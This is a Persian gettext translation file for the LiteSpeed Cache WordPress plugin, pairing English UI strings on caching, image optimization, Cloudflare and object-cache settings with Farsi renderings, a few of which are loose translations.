msgid "LSCache caching functions on this page are currently unavailable!"
msgstr "توابع کش در این صفحه در حال حاضر در دسترس نیست!"

#: src/cloud.cls.php:1589
msgid "%1$s plugin version %2$s required for this action."
msgstr "%1$s نسخه پلاگین %2$s برای این عمل مورد نیاز است."

#: src/cloud.cls.php:1518
msgid "We are working hard to improve your online service experience. The service will be unavailable while we work. We apologize for any inconvenience."
msgstr "ما به شدت در حال کار بر روی بهبود تجربه خدمات آنلاین شما هستیم. این سرویس در حین کار ما در دسترس نخواهد بود. ما بابت هر گونه ناراحتی عذرخواهی می کنیم."

#: tpl/img_optm/settings.tpl.php:60
msgid "Automatically remove the original image backups after fetching optimized images."
msgstr "پس از تهیه تصاویر بهینه شده، پشتیبان گیری تصویر اصلی را به طور خودکار حذف کنید."

#: src/lang.cls.php:208
msgid "Remove Original Backups"
msgstr "حذف پشتیبان اصلی"

#: tpl/img_optm/settings.tpl.php:34
msgid "Automatically request optimization via cron job."
msgstr "درخواست بهینه‌سازی خودکار از طریق کرون جاب."

#: tpl/img_optm/summary.tpl.php:188
msgid "A backup of each image is saved before it is optimized."
msgstr "پشتیبان از هر تصویر قبل از بهینه‌سازی ذخیره می شود."

#: src/img-optm.cls.php:1892
msgid "Switched images successfully."
msgstr "تغییر تصاویر موفق بود."

#: tpl/img_optm/settings.tpl.php:81
msgid "This can improve quality but may result in larger images than lossy compression will."
msgstr "این می‌تواند کیفیت را بهبود بخشد، اما ممکن است به تصاویر بزرگتر از فشرده سازی باقیمانده منجر شود."

#: tpl/img_optm/settings.tpl.php:80
msgid "Optimize images using lossless compression."
msgstr "بهینه‌سازی تصاویر با استفاده از فشرده‌سازی بدون افت."

#: src/lang.cls.php:210
msgid "Optimize Losslessly"
msgstr "بهینه‌سازی بدون کاهش کیفیت"

#: tpl/img_optm/settings.media_webp.tpl.php:25
msgid "Request WebP/AVIF versions of original images when doing optimization."
msgstr "درخواست نسخه Webp/AVIF تصاویر اصلی هنگام بهینه‌سازی."

#: tpl/img_optm/settings.tpl.php:47
msgid "Optimize images and save backups of the originals in the same folder."
msgstr "بهینه‌سازی تصاویر و ذخیره نسخه پشتیبان از فایل اصلی در همان پوشه."

#: src/lang.cls.php:207
msgid "Optimize Original Images"
msgstr "بهینه‌سازی تصاویر اصلی"

#: tpl/page_optm/settings_css.tpl.php:220
msgid "When this option is turned %s, it will also load Google Fonts asynchronously."
msgstr "هنگامی که این تنظیم %s می شود، فونت گوگل نیز به صورت ناهمگام بارگیری خواهد شد."

#: src/purge.cls.php:254
msgid "Cleaned all Critical CSS files."
msgstr "تمام فایل‌های CSS بحرانی پاکسازی شد."

#: tpl/page_optm/settings_css.tpl.php:327
msgid "This will inline the asynchronous CSS library to avoid render blocking."
msgstr "این کار کتابخانه CSS فوری را ایجاد می‌کند تا از مسدود کردن رندر جلوگیری شود."

#: src/lang.cls.php:153
msgid "Inline CSS Async Lib"
msgstr "Inline CSS Async Lib"

#: tpl/page_optm/settings_localization.tpl.php:72
#: tpl/page_optm/settings_media.tpl.php:218
msgid "Run Queue Manually"
msgstr "اجرای دستی صف"

#: tpl/page_optm/settings_css.tpl.php:117
#: tpl/page_optm/settings_css.tpl.php:254 tpl/page_optm/settings_vpi.tpl.php:65
msgid "URL list in %s queue waiting for cron"
msgstr "لیست URL در صف %s در انتظار cron"

#: tpl/page_optm/settings_css.tpl.php:105
#: tpl/page_optm/settings_css.tpl.php:242
msgid "Last requested cost"
msgstr "آخرین مقدار درخواست شده"

#: tpl/page_optm/settings_css.tpl.php:102
#: tpl/page_optm/settings_css.tpl.php:239
#: tpl/page_optm/settings_media.tpl.php:188
#: tpl/page_optm/settings_vpi.tpl.php:53
msgid "Last generated"
msgstr "آخرین تولید"

#: tpl/page_optm/settings_media.tpl.php:180
msgid "If set to %s this is done in the foreground, which may slow down page load."
msgstr "اگر به %s تنظیم شود، این کار در پیش‌زمینه انجام می‌شود، که ممکن است بارگذاری صفحه را کند کند."

#: tpl/page_optm/settings_css.tpl.php:219
msgid "Automatic generation of critical CSS is in the background via a cron-based queue."
msgstr "به طور خودکار CSS بحرانی را در پس‌زمینه از طریق یک خط مبتنی بر cron تولید می کند."

#: tpl/page_optm/settings_css.tpl.php:215
msgid "Optimize CSS delivery."
msgstr "بهینه‌سازی ارسال CSS."

#: tpl/toolbox/purge.tpl.php:74
msgid "This will delete all generated critical CSS files"
msgstr "این عملیات تمام فایل‌های CSS بحرانی تولیدشده را حذف می‌کند"

#: tpl/dash/dashboard.tpl.php:623 tpl/toolbox/purge.tpl.php:73
msgid "Critical CSS"
msgstr "CSS بحرانی"

#: src/doc.cls.php:65
msgid "This site utilizes caching in order to facilitate a faster response time and better user experience. Caching potentially stores a duplicate copy of every web page that is on display on this site. All cache files are temporary, and are never accessed by any third party, except as necessary to obtain technical support from the cache plugin vendor. Cache files expire on a schedule set by the site administrator, but may easily be purged by the admin before their natural expiration, if necessary. We may use QUIC.cloud services to process & cache your data temporarily."
msgstr "این سایت از کش به منظور تسهیل زمان واکنش سریع‌تر و تجربه کاربر بهتر استفاده می‌کند. کش به طور بالقوه یک کپی از هر صفحه وب را که در این سایت نمایش داده می‌شود، ذخیره می‌کند. همه فایل‌های کش دار موقتی هستند، و هرگز توسط هیچ شخص ثالث دسترسی پیدا نمی‌شود، به جز آن که لازم باشد پشتیبانی فنی را از فروشنده متصل شونده کش دریافت کنید. پرونده‌های مخفی در یک برنامه زمانبندی توسط مدیر سایت منقضی می‌شوند، اما در صورت لزوم می‌تواند به راحتی توسط مدیریت قبل از انقضای طبیعی آن‌ها پاک‌سازی شود. ممکن است از خدمات QUIC.cloud برای پردازش و ذخیره موقت داده های شما استفاده کنیم."

#: tpl/toolbox/heartbeat.tpl.php:28
msgid "Disabling this may cause WordPress tasks triggered by AJAX to stop working."
msgstr "غیرفعال کردن این ممکن است وظیفه وردپرس را که توسط AJAX آغاز شده، متوقف کند."

#: src/utility.cls.php:228
msgid "right now"
msgstr "همین حالا"

#: src/utility.cls.php:228
msgid "just now"
msgstr "همین حالا"

#: tpl/img_optm/summary.tpl.php:259
msgid "Saved"
msgstr "ذخیره شده"

#: tpl/img_optm/summary.tpl.php:253
#: tpl/page_optm/settings_localization.tpl.php:61
msgid "Last ran"
msgstr "آخرین اجرا"

#: tpl/img_optm/settings.tpl.php:66 tpl/img_optm/summary.tpl.php:245
msgid "You will be unable to Revert Optimization once the backups are deleted!"
msgstr "پس از حذف نسخه‌های پشتیبان، امکان بازگرداندن بهینه‌سازی وجود نخواهد داشت!"

#: tpl/img_optm/settings.tpl.php:65 tpl/img_optm/summary.tpl.php:244
#: tpl/page_optm/settings_media.tpl.php:308
msgid "This is irreversible."
msgstr "این کار غیر قابل برگشت است."

#: tpl/img_optm/summary.tpl.php:265
msgid "Remove Original Image Backups"
msgstr "حذف پشتیبان تصاویر اصلی"

#: tpl/img_optm/summary.tpl.php:264
msgid "Are you sure you want to remove all image backups?"
msgstr "آیا مطمئنید که می‌خواهید تمام پشتیبان‌های تصاویر را حذف کنید؟"

#: tpl/crawler/blacklist.tpl.php:32 tpl/img_optm/summary.tpl.php:201
msgid "Total"
msgstr "جمع"

#: tpl/img_optm/summary.tpl.php:198 tpl/img_optm/summary.tpl.php:256
msgid "Files"
msgstr "فایل‌ها"

#: tpl/img_optm/summary.tpl.php:194
msgid "Last calculated"
msgstr "آخرین محاسبه"

#: tpl/img_optm/summary.tpl.php:208
msgid "Calculate Original Image Storage"
msgstr "محاسبه فضای مصرفی تصاویر اصلی"

#: tpl/img_optm/summary.tpl.php:184
msgid "Storage Optimization"
msgstr "بهینه‌سازی فضای ذخیره"

#: tpl/img_optm/settings.tpl.php:165
msgid "Enable replacement of WebP/AVIF in %s elements that were generated outside of WordPress logic."
msgstr "فعالکردن جایگزینی تصاویر WebP/AVIF در عناصر %s که خارج از منطق وردپرس تولید شدهاند."

#: tpl/cdn/other.tpl.php:141 tpl/img_optm/settings.tpl.php:151
msgid "Use the format %1$s or %2$s (element is optional)."
msgstr "از فرمت %1$s یا %2$s (عنصر اختیاری است)"

#: tpl/cdn/other.tpl.php:137 tpl/img_optm/settings.tpl.php:150
msgid "Only attributes listed here will be replaced."
msgstr "فقط ویژگی‌های ذکر شده در اینجا جایگزین خواهند شد."

#: tpl/img_optm/settings.tpl.php:149
msgid "Specify which element attributes will be replaced with WebP/AVIF."
msgstr "مشخص کنید کدام ویژگی‌های عنصر با WebP/AVIF جایگزین خواهند شد."

#: src/lang.cls.php:213
msgid "WebP/AVIF Attribute To Replace"
msgstr "ویژگی WebP/AVIF برای جایگزینی"

#: tpl/cdn/other.tpl.php:196
msgid "Only files within these directories will be pointed to the CDN."
msgstr "فقط فایل‌های موجود در این دایرکتوری به CDN اشاره می شود."

#: src/lang.cls.php:244
msgid "Included Directories"
msgstr "شامل دایرکتوری‌ها"

#: tpl/cache/settings-purge.tpl.php:152
msgid "A Purge All will be executed when WordPress runs these hooks."
msgstr "پاکسازی همه، وردپرس این هوک‌ها را اجرا می کند."

#: src/lang.cls.php:221
msgid "Purge All Hooks"
msgstr "پاکسازی تمام هوک‌ها"

#: src/purge.cls.php:213
msgid "Purged all caches successfully."
msgstr "پاکسازی تمام کش موفق بود."

#: src/gui.cls.php:562 src/gui.cls.php:691 src/gui.cls.php:744
msgid "LSCache"
msgstr "LSCache"

#: src/gui.cls.php:506
msgid "Forced cacheable"
msgstr "قابل‌کش اجباری"

#: tpl/cache/settings-cache.tpl.php:133
msgid "Paths containing these strings will be cached regardless of no-cacheable settings."
msgstr "مسیرهای حاوی این رشته‌ها صرف نظر از تنظیمات غیر قابل کش شدن کش می شوند."

#: src/lang.cls.php:130
msgid "Force Cache URIs"
msgstr "کش اجباری URIها"

#: tpl/cache/network_settings-excludes.tpl.php:17
#: tpl/cache/settings-excludes.tpl.php:15
msgid "Exclude Settings"
msgstr "تنظیمات استثنائات"

#: tpl/toolbox/settings-debug.tpl.php:69
msgid "This will disable LSCache and all optimization features for debug purpose."
msgstr "این کار LSCache و تمام ویژگی‌های بهینه‌سازی را برای هدف اشکال زدایی غیرفعال می کند."

#: src/lang.cls.php:256
msgid "Disable All Features"
msgstr "غیرفعالسازی همه ویژگی‌ها"

#: src/gui.cls.php:599 src/gui.cls.php:781 tpl/toolbox/purge.tpl.php:64
msgid "Opcode Cache"
msgstr "کش Opcode"

#: src/gui.cls.php:570 src/gui.cls.php:752 tpl/toolbox/purge.tpl.php:47
msgid "CSS/JS Cache"
msgstr "کش CSS/JS"

#: src/gui.cls.php:849 tpl/img_optm/summary.tpl.php:176
msgid "Remove all previous unfinished image optimization requests."
msgstr "تمام درخواست‌های ناتمام قبلی بهینه‌سازی تصویر را حذف کنید."

#: src/gui.cls.php:850 tpl/img_optm/summary.tpl.php:178
msgid "Clean Up Unfinished Data"
msgstr "پاکسازی اطلاعات ناتمام"

#: tpl/banner/slack.php:40
msgid "Join Us on Slack"
msgstr "در اسلک به ما بپیوندید"

#. translators: %s: Link to LiteSpeed Slack community
#: tpl/banner/slack.php:28
msgid "Join the %s community."
msgstr "به جامعه %s بپیوندید."

#: tpl/banner/slack.php:24
msgid "Want to connect with other LiteSpeed users?"
msgstr "آیا می خواهید با سایر کاربران LiteSpeed ارتباط برقرار کنید؟"

#: tpl/cdn/cf.tpl.php:38
msgid "Your API key / token is used to access %s APIs."
msgstr "کلید یا توکن API شما برای دسترسی به API‌های %s استفاده می شود."

#: tpl/cdn/cf.tpl.php:47
msgid "Your Email address on %s."
msgstr "آدرس ایمیل شما در %s."

#: tpl/cdn/cf.tpl.php:31
msgid "Use %s API functionality."
msgstr "از قابلیت %s API استفاده کنید."

#: tpl/cdn/other.tpl.php:80
msgid "To randomize CDN hostname, define multiple hostnames for the same resources."
msgstr "برای تصدیق نام میزبان CDN، چندین نام میزبان را برای همان منابع تعریف کنید."

#: tpl/inc/admin_footer.php:23
msgid "Join LiteSpeed Slack community"
msgstr "به انجمن لایت اسپید در اسلک ملحق شوید"

#: tpl/inc/admin_footer.php:21
msgid "Visit LSCWP support forum"
msgstr "بازدید از انجمن پشتیبانی LSCWP"

#: src/lang.cls.php:27 tpl/dash/dashboard.tpl.php:560
msgid "Images notified to pull"
msgstr "تصاویر اعلان شده برای فشرده سازی"

#: tpl/img_optm/summary.tpl.php:291
msgid "What is a group?"
msgstr "گروه چیست؟"

#: src/admin-display.cls.php:1573
msgid "%s image"
msgstr "%s تصویر"

#: src/admin-display.cls.php:1570
msgid "%s group"
msgstr "%s گروه"

#: src/admin-display.cls.php:1561
msgid "%s images"
msgstr "%s تصویر"

#: src/admin-display.cls.php:1558
msgid "%s groups"
msgstr "%s گروه"

#: src/crawler.cls.php:1236
msgid "Guest"
msgstr "مهمان"

#: tpl/crawler/settings.tpl.php:109
msgid "To crawl the site as a logged-in user, enter the user ids to be simulated."
msgstr "برای خزیدن سایت به عنوان یک کاربر وارد شده، شناسه کاربری را برای شبیه‌سازی وارد کنید."

#: src/lang.cls.php:252
msgid "Role Simulation"
msgstr "شبیه‌سازی نقش"

#: tpl/crawler/summary.tpl.php:232
msgid "running"
msgstr "در حال اجرا"

#: tpl/db_optm/manage.tpl.php:187
msgid "Size"
msgstr "اندازه"

#: tpl/crawler/summary.tpl.php:123 tpl/dash/dashboard.tpl.php:103
#: tpl/dash/dashboard.tpl.php:822
msgid "Ended reason"
msgstr "دلیل پایان"

#: tpl/crawler/summary.tpl.php:116 tpl/dash/dashboard.tpl.php:97
#: tpl/dash/dashboard.tpl.php:816
msgid "Last interval"
msgstr "آخرین بازه"

#: tpl/crawler/summary.tpl.php:104 tpl/dash/dashboard.tpl.php:91
#: tpl/dash/dashboard.tpl.php:810
msgid "Current crawler started at"
msgstr "خزنده فعلی شروع می شود در"

#: tpl/crawler/summary.tpl.php:97
msgid "Run time for previous crawler"
msgstr "زمان اجرا برای خزنده قبلی"

#: tpl/crawler/summary.tpl.php:91 tpl/crawler/summary.tpl.php:98
msgid "%d seconds"
msgstr "%d ثانیه"

#: tpl/crawler/summary.tpl.php:90
msgid "Last complete run time for all crawlers"
msgstr "آخرین زمان اجرای کامل برای همه خزنده‌ها"

#: tpl/crawler/summary.tpl.php:77
msgid "Current sitemap crawl started at"
msgstr "خزیدن نقشه سایت فعلی در"

#. translators: %1$s: Object Cache Admin title, %2$s: OFF status
#: tpl/cache/settings_inc.object.tpl.php:278
msgid "Save transients in database when %1$s is %2$s."
msgstr "ذخیره transientها در پایگاه داده زمانی که %1$s در وضعیت %2$s است."

#: src/lang.cls.php:124
msgid "Store Transients"
msgstr "ذخیره داده‌های گذرا"

#. translators: %1$s: Cache Mobile label, %2$s: ON status, %3$s: List of Mobile
#. User Agents label
#: tpl/cache/settings_inc.cache_mobile.tpl.php:89
msgid "If %1$s is %2$s, then %3$s must be populated!"
msgstr "اگر %1$s در وضعیت %2$s باشد، باید %3$s پر شود!"

#: tpl/crawler/settings.tpl.php:89
msgid "Server allowed max value: %s"
msgstr "سرور اجازه حداکثر مقدار مجاز را داد: %s"

#: tpl/crawler/settings.tpl.php:79
msgid "Server enforced value: %s"
msgstr "سرور مقدار را اعمال کرد: %s"

#: tpl/cache/more_settings_tip.tpl.php:22
#: tpl/cache/settings-excludes.tpl.php:71
#: tpl/cache/settings-excludes.tpl.php:104 tpl/cdn/other.tpl.php:79
#: tpl/crawler/settings.tpl.php:76 tpl/crawler/settings.tpl.php:86
msgid "NOTE"
msgstr "نکته"

#. translators: %s: list of server variables in <code> tags
#: src/admin-display.cls.php:1517
msgid "Server variable(s) %s available to override this setting."
msgstr "متغیرهای موجود سرور %s برای لغو این تنظیم است."

#: src/admin-display.cls.php:1514 tpl/cache/settings-esi.tpl.php:103
#: tpl/page_optm/settings_css.tpl.php:87 tpl/page_optm/settings_css.tpl.php:223
#: tpl/page_optm/settings_html.tpl.php:131
#: tpl/page_optm/settings_media.tpl.php:258
#: tpl/page_optm/settings_media_exc.tpl.php:36
#: tpl/page_optm/settings_tuning.tpl.php:48
#: tpl/page_optm/settings_tuning.tpl.php:68
#: tpl/page_optm/settings_tuning.tpl.php:89
#: tpl/page_optm/settings_tuning.tpl.php:110
#: tpl/page_optm/settings_tuning.tpl.php:129
#: tpl/page_optm/settings_tuning_css.tpl.php:35
#: tpl/page_optm/settings_tuning_css.tpl.php:96
#: tpl/page_optm/settings_tuning_css.tpl.php:99
#: tpl/page_optm/settings_tuning_css.tpl.php:100
#: tpl/toolbox/edit_htaccess.tpl.php:61 tpl/toolbox/edit_htaccess.tpl.php:79
msgid "API"
msgstr "API"

#: src/purge.cls.php:432
msgid "Reset the entire OPcache successfully."
msgstr "بازنشانی کش ورودی‌های opcode موفق بود."

#: src/import.cls.php:134
msgid "Imported setting file %s successfully."
msgstr "فایل تنظیم %s با موفقیت درون‌ریزی است."

#: src/import.cls.php:81
msgid "Import failed due to file error."
msgstr "درون‌ریزی به علت خطا در فایل انجام نشد."

#: tpl/page_optm/settings_css.tpl.php:61 tpl/page_optm/settings_js.tpl.php:48
msgid "How to Fix Problems Caused by CSS/JS Optimization."
msgstr "چگونه مسائل ایجادشده توسط بهینه‌سازی CSS/JS را رفع کنیم."

#: tpl/cache/settings-advanced.tpl.php:76
msgid "This will generate extra requests to the server, which will increase server load."
msgstr "این درخواست‌های اضافی را برای سرور ایجاد می کند که بار سرور را افزایش می دهد."

#: tpl/cache/settings-advanced.tpl.php:71
msgid "When a visitor hovers over a page link, preload that page. This will speed up the visit to that link."
msgstr "وقتی بازدیدکننده ماوس را روی لینک یک صفحه نگه می‌دارد، آن صفحه را از قبل بارگذاری کنید. این کار سرعت بازدید از آن لینک را افزایش می‌دهد."

#: src/lang.cls.php:223
msgid "Instant Click"
msgstr "کلیک فوری"

#: tpl/toolbox/purge.tpl.php:65
msgid "Reset the entire opcode cache"
msgstr "بازنشانی ورودی‌های کش Opcode"

#: tpl/toolbox/import_export.tpl.php:59
msgid "This will import settings from a file and override all current LiteSpeed Cache settings."
msgstr "این تنظیمات را از یک فایل وارد می‌کند و با تمام تنظیمات فعلی LiteSpeed Cache جایگزین می‌شود."

#: tpl/toolbox/import_export.tpl.php:54
msgid "Last imported"
msgstr "آخرین درون‌ریزی"

#: tpl/toolbox/import_export.tpl.php:48
msgid "Import"
msgstr "درون‌ریزی"

#: tpl/toolbox/import_export.tpl.php:40
msgid "Import Settings"
msgstr "تنظیمات واردات"

#: tpl/toolbox/import_export.tpl.php:36
msgid "This will export all current LiteSpeed Cache settings and save them as a file."
msgstr "این همه تنظیمات فعلی LiteSpeed Cache را صادر و به عنوان یک فایل ذخیره می کند."

#: tpl/toolbox/import_export.tpl.php:31
msgid "Last exported"
msgstr "آخرین صادر شده"

#: tpl/toolbox/import_export.tpl.php:25
msgid "Export"
msgstr "برون‌بری"

#: tpl/toolbox/import_export.tpl.php:19
msgid "Export Settings"
msgstr "تنظیمات برون‌بری"

#: tpl/presets/entry.tpl.php:17 tpl/toolbox/entry.tpl.php:20
msgid "Import / Export"
msgstr "درون‌ریزی / برون‌بری"

#: tpl/cache/settings_inc.object.tpl.php:249
msgid "Use keep-alive connections to speed up cache operations."
msgstr "برای سرعت بخشیدن به عملیات کش سازی، از اتصالات زنده استفاده کنید."

#: tpl/cache/settings_inc.object.tpl.php:209
msgid "Database to be used"
msgstr "استفاده از پایگاه داده"

#: src/lang.cls.php:119
msgid "Redis Database ID"
msgstr "شناسه پایگاه داده Redis"

#: tpl/cache/settings_inc.object.tpl.php:196
msgid "Specify the password used when connecting."
msgstr "رمز عبور مورد استفاده هنگام اتصال را مشخص کنید."

#: src/lang.cls.php:118
msgid "Password"
msgstr "گذرواژه"

#. translators: %s: SASL
#: tpl/cache/settings_inc.object.tpl.php:180
msgid "Only available when %s is installed."
msgstr "فقط در دسترس است هنگامی که %s نصب شده است."

#: src/lang.cls.php:117
msgid "Username"
msgstr "نام کاربری"

#. translators: %s: Object cache name
#: tpl/cache/settings_inc.object.tpl.php:99
msgid "Your %s Hostname or IP address."
msgstr "نام هاست یا آدرس IP %s شما."

#: src/lang.cls.php:113
msgid "Method"
msgstr "روش"

#: src/purge.cls.php:473
msgid "Purge all object caches successfully."
msgstr "پاکسازی همه object cacheها موفق بود."

#: src/purge.cls.php:460
msgid "Object cache is not enabled."
msgstr "کش پنهان فعال نیست."

#: tpl/cache/settings_inc.object.tpl.php:262
msgid "Improve wp-admin speed through caching. (May encounter expired data)"
msgstr "بهبود سرعت wp-admin از طریق کش سازی (ممکن است داده‌های منقضی شده روبرو شود)"

#: src/lang.cls.php:123
msgid "Cache WP-Admin"
msgstr "کش Wp-Admin"

#: src/lang.cls.php:122
msgid "Persistent Connection"
msgstr "اتصال پایدار"

#: src/lang.cls.php:121
msgid "Do Not Cache Groups"
msgstr "گروه‌ها را کش نکنید"

#: tpl/cache/settings_inc.object.tpl.php:222
msgid "Groups cached at the network level."
msgstr "گروه‌ها در سطح شبکه کش می شوند."

#: src/lang.cls.php:120
msgid "Global Groups"
msgstr "گروه‌های جهانی"

#: tpl/cache/settings_inc.object.tpl.php:71
msgid "Connection Test"
msgstr "تست اتصال"

#. translators: %s: Object cache name
#: tpl/cache/settings_inc.object.tpl.php:58
#: tpl/cache/settings_inc.object.tpl.php:66
msgid "%s Extension"
msgstr "%s پسوند"

#: tpl/cache/settings_inc.object.tpl.php:52 tpl/crawler/blacklist.tpl.php:42
#: tpl/crawler/summary.tpl.php:153
msgid "Status"
msgstr "وضعیت"

#: tpl/cache/settings_inc.object.tpl.php:164
msgid "Default TTL for cached objects."
msgstr "TTL پیش‌فرض برای اشیاء کش‌شده."

#: src/lang.cls.php:116
msgid "Default Object Lifetime"
msgstr "طول عمر پیش‌فرض"

#: src/lang.cls.php:115
msgid "Port"
msgstr "پورت"

#: src/lang.cls.php:114
msgid "Host"
msgstr "میزبان"

#: src/gui.cls.php:589 src/gui.cls.php:771 src/lang.cls.php:112
#: tpl/dash/dashboard.tpl.php:60 tpl/dash/dashboard.tpl.php:603
#: tpl/toolbox/purge.tpl.php:55
msgid "Object Cache"
msgstr "کش Object"

#: tpl/cache/settings_inc.object.tpl.php:28
msgid "Failed"
msgstr "ناموفق"

#: tpl/cache/settings_inc.object.tpl.php:25
msgid "Passed"
msgstr "سپری شده"

#: tpl/cache/settings_inc.object.tpl.php:23
msgid "Not Available"
msgstr "در دسترس نیست"

#: tpl/toolbox/purge.tpl.php:56
msgid "Purge all the object caches"
msgstr "پاکسازی همه object caches"

#: src/cdn/cloudflare.cls.php:275 src/cdn/cloudflare.cls.php:297
msgid "Failed to communicate with Cloudflare"
msgstr "ارتباط با کلودفلر ناموفق بود"

#: src/cdn/cloudflare.cls.php:288
msgid "Communicated with Cloudflare successfully."
msgstr "با Cloudflare با موفقیت ارتباط برقرار شد."

#: src/cdn/cloudflare.cls.php:181
msgid "No available Cloudflare zone"
msgstr "زون کلودفلر در دسترس نیست"

#: src/cdn/cloudflare.cls.php:167
msgid "Notified Cloudflare to purge all successfully."
msgstr "اعلان پاکسازی همه به Cloudflare با موفقیت انجام شد."

#: src/cdn/cloudflare.cls.php:151
msgid "Cloudflare API is set to off."
msgstr "API Cloudflare تنظیم شده است."

#: src/cdn/cloudflare.cls.php:121
msgid "Notified Cloudflare to set development mode to %s successfully."
msgstr "اعلان به Cloudflare برای تنظیم حالت توسعه به %s با موفقیت انجام شد."

#: tpl/cdn/cf.tpl.php:60
msgid "Once saved, it will be matched with the current list and completed automatically."
msgstr "پس از ذخیره شدن، آن را با لیست موجود مطابقت داده و به طور خودکار تکمیل می شود."

#: tpl/cdn/cf.tpl.php:59
msgid "You can just type part of the domain."
msgstr "شما فقط می‌توانید بخشی از دامنه را تایپ کنید."

#: tpl/cdn/cf.tpl.php:52
msgid "Domain"
msgstr "دامنه"

#: src/lang.cls.php:246
msgid "Cloudflare API"
msgstr "API Cloudflare"

#: tpl/cdn/cf.tpl.php:162
msgid "Purge Everything"
msgstr "پاکسازی همه چیز"

#: tpl/cdn/cf.tpl.php:156
msgid "Cloudflare Cache"
msgstr "حافظه Cloudflare"

#: tpl/cdn/cf.tpl.php:151
msgid "Development Mode will be turned off automatically after three hours."
msgstr "حالت توسعه به طور خودکار پس از سه ساعت خاموش می شود."

#: tpl/cdn/cf.tpl.php:149
msgid "Temporarily bypass Cloudflare cache. This allows changes to the origin server to be seen in realtime."
msgstr "به طور موقت حافظه Cloudflare را دور بزن این اجازه می دهد تا تغییرات در سرور مبدا در زمان واقعی دیده شود."

#: tpl/cdn/cf.tpl.php:141
msgid "Development mode will be automatically turned off in %s."
msgstr "حالت توسعه به صورت خودکار در %s خاتمه می یابد."

#: tpl/cdn/cf.tpl.php:137
msgid "Current status is %s."
msgstr "وضعیت کنونی %s است."

#: tpl/cdn/cf.tpl.php:129
msgid "Current status is %1$s since %2$s."
msgstr "وضعیت کنونی از %2$s به %1$s تغییر یافته است."

#: tpl/cdn/cf.tpl.php:119
msgid "Check Status"
msgstr "بررسی وضعیت"

#: tpl/cdn/cf.tpl.php:116
msgid "Turn OFF"
msgstr "خاموش"

#: tpl/cdn/cf.tpl.php:113
msgid "Turn ON"
msgstr "روشن"

#: tpl/cdn/cf.tpl.php:111
msgid "Development Mode"
msgstr "حالت توسعه"

#: tpl/cdn/cf.tpl.php:108
msgid "Cloudflare Zone"
msgstr "ناحیه Cloudflare"

#: tpl/cdn/cf.tpl.php:107
msgid "Cloudflare Domain"
msgstr "دامنه Cloudflare"

#: src/gui.cls.php:579 src/gui.cls.php:761 tpl/cdn/cf.tpl.php:96
#: tpl/cdn/entry.tpl.php:15
msgid "Cloudflare"
msgstr "Cloudflare"

#: tpl/page_optm/settings_html.tpl.php:45
#: tpl/page_optm/settings_html.tpl.php:76
msgid "For example"
msgstr "برای مثال"

#: tpl/page_optm/settings_html.tpl.php:44
msgid "Prefetching DNS can reduce latency for visitors."
msgstr "واکشی اولیه DNS می‌تواند زمان تأخیر را برای بازدیدکنندگان کاهش دهد."

#: src/lang.cls.php:158
msgid "DNS Prefetch"
msgstr "واکشی اولیه DNS"

#: tpl/page_optm/settings_media.tpl.php:45
msgid "Adding Style to Your Lazy-Loaded Images"
msgstr "افزودن استایل به بارگذاری تنبل تصاویر شما"

#: src/admin-display.cls.php:1353 src/admin-display.cls.php:1372
#: tpl/cdn/other.tpl.php:108
msgid "Default value"
msgstr "مقدار پیش‌فرض"

#: tpl/cdn/other.tpl.php:100
msgid "Static file type links to be replaced by CDN links."
msgstr "پیوند‌های فایل‌های استاتیک با لینک‌های CDN جایگزین می شوند."

#. translators: %1$s: Example query string, %2$s: Example wildcard
#: tpl/cache/settings_inc.cache_dropquery.tpl.php:34
msgid "For example, to drop parameters beginning with %1$s, %2$s can be used here."
msgstr "برای مثال، برای حذف پارامترهایی که با %1$s شروع میشوند، میتوان از %2$s در این قسمت استفاده کرد."

#: src/lang.cls.php:110
msgid "Drop Query String"
msgstr "رشته Drop Query"

#: tpl/cache/settings-advanced.tpl.php:57
msgid "Enable this option if you are using both HTTP and HTTPS in the same domain and are noticing cache irregularities."
msgstr "این گزینه را فعال کنید اگر از HTTP و HTTPS در همان دامنه استفاده می کنید و نادیده گرفته شده است."

#: src/lang.cls.php:222
msgid "Improve HTTP/HTTPS Compatibility"
msgstr "بهبود سازگاری HTTP/HTTPS"

#: tpl/img_optm/summary.tpl.php:382
msgid "Remove all previous image optimization requests/results, revert completed optimizations, and delete all optimization files."
msgstr "تمام درخواست‌ها/نتایج بهینه‌سازی‌های قبلی، بازگردانی تصاویر بهینه شده و همه فایل‌های بهینه شده را حذف می کند."

#: tpl/img_optm/settings.media_webp.tpl.php:34 tpl/img_optm/summary.tpl.php:378
msgid "Destroy All Optimization Data"
msgstr "از بین بردن همه داده‌های بهینه‌سازی"

#: tpl/img_optm/summary.tpl.php:304
msgid "Scan for any new unoptimized image thumbnail sizes and resend necessary image optimization requests."
msgstr "برای بهینه‌سازی هر اندازه تصاویر بندانگشتی اسکن کنید و درخواست بهینه‌سازی تصویر برای موارد مورد نیاز را دوباره ارسال کنید."

#: tpl/img_optm/settings.tpl.php:121
msgid "This will increase the size of optimized files."
msgstr "این اندازه فایل‌های بهینه‌سازی شده را افزایش می دهد."

#: tpl/img_optm/settings.tpl.php:120
msgid "Preserve EXIF data (copyright, GPS, comments, keywords, etc) when optimizing."
msgstr "در هنگام بهینه‌سازی داده‌های EXIF (کپی رایت، GPS، نظرات، کلمات کلیدی و ...) را ذخیره کنید."

#: tpl/toolbox/log_viewer.tpl.php:46 tpl/toolbox/log_viewer.tpl.php:75
msgid "Clear Logs"
msgstr "پاکسازی گزارش‌ها"

#: thirdparty/woocommerce.content.tpl.php:25
msgid "To test the cart, visit the <a %s>FAQ</a>."
msgstr "برای تست سبد خرید، به <a %s>FAQ</a> مراجعه کنید."

#: src/utility.cls.php:231
msgid " %s ago"
msgstr " %s پیش"

#: src/media.cls.php:426
msgid "WebP saved %s"
msgstr "WebP ذخیره شده %s"

#: tpl/toolbox/report.tpl.php:68
msgid "If you run into any issues, please refer to the report number in your support message."
msgstr "اگر هر مشکلی دارید، لطفا به شماره گزارش در پیام پشتیبانی خود ارجاع دهید."

#: tpl/img_optm/summary.tpl.php:156
msgid "Last pull initiated by cron at %s."
msgstr "آخرین کش توسط cron در %s آغاز شده است."

#: tpl/img_optm/summary.tpl.php:93
msgid "Images will be pulled automatically if the cron job is running."
msgstr "اگر cron job در حال اجرا باشد، تصاویر به صورت خودکار فشرده می شوند."

#: tpl/img_optm/summary.tpl.php:93
msgid "Only press the button if the pull cron job is disabled."
msgstr "فقط اگر pull cron job غیرفعال است، دکمه را فشار دهید."

#: tpl/img_optm/summary.tpl.php:102
msgid "Pull Images"
msgstr "فشرده سازی تصاویر"

